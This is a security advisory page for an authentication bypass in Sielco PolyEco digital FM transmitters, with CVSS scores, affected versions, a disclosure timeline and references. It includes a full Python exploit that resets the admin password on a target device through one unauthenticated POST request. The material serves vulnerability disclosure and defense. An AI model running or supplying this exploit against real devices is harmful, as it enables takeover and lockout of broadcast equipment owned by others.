Gjoko KrsticZSL-2023-5769Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
39.3%
Title: Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
Advisory ID: ZSL-2023-5769
Type: Local/Remote
Impact: Privilege Escalation, Security Bypass, System Access
Risk: (5/5)
Release Date: 10.04.2023
Summary
PolyEco is the innovative family of high-end digital FM transmitters of Sielco. They are especially suited as high performance power system exciters or compact low-mid power transmitters. The same cabinet may in fact be fitted with 50, 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500, 1000).
All features can be controlled via the large touch-screen display 4.3" or remotely. Many advanced features are inside by default in the basic version such as: stereo and RDS encoder, audio change-over, remote-control via LAN and SNMP, “FFT” spectral analysis of the audio sources, SFN synchronization and much more.
Description
The application suffers from an authentication bypass and account takeover/lockout vulnerability that can be triggered by directly calling the users object and effectively modifying the password of the two constants user/role (user/admin). This can be exploited by an unauthenticated adversary by issuing a single POST request to the vulnerable endpoint and gain unauthorized access to the affected device with administrative privileges.
Vendor
Sielco S.r.l - <https://www.sielco.org>
Affected Version
PolyEco1000 CPU:2.0.6 FPGA:10.19
PolyEco1000 CPU:1.9.4 FPGA:10.19
PolyEco1000 CPU:1.9.3 FPGA:10.19
PolyEco500 CPU:1.7.0 FPGA:10.16
PolyEco300 CPU:2.0.2 FPGA:10.19
PolyEco300 CPU:2.0.0 FPGA:10.19
Tested On
lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
Vendor Status
[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[09.04.2023] No response from the vendor.
[09.04.2023] No response from the CSIRT team.
[10.04.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.exploit-db.com/exploits/51367>
[2] <https://packetstormsecurity.com/files/171850/>
[3] <https://cxsecurity.com/issue/WLB-2023050001>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269704>
[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253067>
[6] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-07>
[7] <https://nvd.nist.gov/vuln/detail/CVE-2023-46665>
[8] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-46665>
[9] <https://www.tenable.com/cve/CVE-2023-46665>
Changelog
[10.04.2023] - Initial release
[03.11.2023] - Added reference [1], [2], [3], [4], [5], [6], [7], [8] and [9]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
#
#
# Vendor: Sielco S.r.l
# Product web page: https://www.sielco.org
# Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
# PolyEco1000 CPU:1.9.4 FPGA:10.19
# PolyEco1000 CPU:1.9.3 FPGA:10.19
# PolyEco500 CPU:1.7.0 FPGA:10.16
# PolyEco300 CPU:2.0.2 FPGA:10.19
# PolyEco300 CPU:2.0.0 FPGA:10.19
#
# Summary: PolyEco is the innovative family of high-end digital
# FM transmitters of Sielco. They are especially suited as high
# performance power system exciters or compact low-mid power
# transmitters. The same cabinet may in fact be fitted with 50,
# 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
# 1000).
#
# All features can be controlled via the large touch-screen display
# 4.3" or remotely. Many advanced features are inside by default
# in the basic version such as: stereo and RDS encoder, audio
# change-over, remote-control via LAN and SNMP, "FFT" spectral
# analysis of the audio sources, SFN synchronization and much more.
#
# Desc: The application suffers from an authentication bypass and
# account takeover/lockout vulnerability that can be triggered by
# directly calling the users object and effectively modifying the
# password of the two constants user/role (user/admin). This can
# be exploited by an unauthenticated adversary by issuing a single
# POST request to the vulnerable endpoint and gain unauthorized
# access to the affected device with administrative privileges.
#
# Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5769
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5769.php
#
#
# 26.01.2023
#
#
import requests
print( '''
.- _ _ -.
/ / \\ \\
( ( (` (-o-) `) ) )
\ \_ ` -+- ` _/ /
`- -+- -`
-+-
-+-
-+-
-+-
-+-
-+-
/ \\
*****************************************************
! Sielco PolyEco Authentication Bypass Script !
*****************************************************
Please note that this script is for educational and
ethical purposes only. Using it for unauthorized
access or malicious activities is strictly prohibited
and can have serious legal and ethical consequences.
The responsibility of using this script in a lawful
and ethical manner lies solely with the user. The
author or creator of this script shall not be held
responsible for any unlawful or unethical activities
performed by the users.
''' )
url = input( ' Enter the URL (e.g. http://host:8090): ' )
if not 'http' in url :
url = 'http://{}'.format( url )
user = input( ' Enter the desired role (e.g. user or admin): ')
if user not in [ 'user', 'admin' ] :
exit( ' Only \'user\' or \'admin\' please.' )
password = input( ' Enter the desired password: ' )
end = '/protect/users.htm'
payload = {}
if user == "user" :
payload[ 'pwd_admin' ] = ''
payload[ 'pwd_user' ] = password
elif user == 'admin' :
payload[ 'pwd_admin' ] = password
payload[ 'pwd_user' ] = ''
r = requests.post( url + end, data = payload )
if r.status_code == 200 :
print( '\n MSG: OK.' )
else:
print( '\n MSG: ERROR!' )
</p></body></html>Related
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
39.3%